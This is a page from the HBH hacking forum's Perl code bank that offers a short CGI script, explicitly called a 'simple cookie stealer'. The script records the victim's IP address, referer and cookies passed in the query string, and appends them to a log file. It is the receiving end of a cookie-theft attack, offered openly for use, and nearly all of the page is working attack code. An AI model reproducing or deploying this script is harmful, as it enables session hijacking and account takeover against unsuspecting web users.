Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Cookie/ip logger - Perl Code Bank


Cookie/ip logger
Simple cookie stealer also logging ip
                #!/usr/bin/perl -w
#by clone4

#modules
use WWW::Mechanize;

#this variable takes the value behind http://whatever/index.php?
my $ref = $ENV{'QUERY_STRING'};

#time and ip logged and the output file
my $time = localtime;
my $ip = $ENV{'REMOTE_ADDR'};
my $add = $ENV{'HTTP_REFERER'};
my $log = 'log.txt';

#open the file to append 
open $out, ">>$log" or die "Can't open file: $!";

#print the logged info into a file
print $out "Ip $ip logged at $time\n";
print $out $add."\n";
print $out "Cookie: $ref\n";

            
Comments
Sorry but there are no comments to display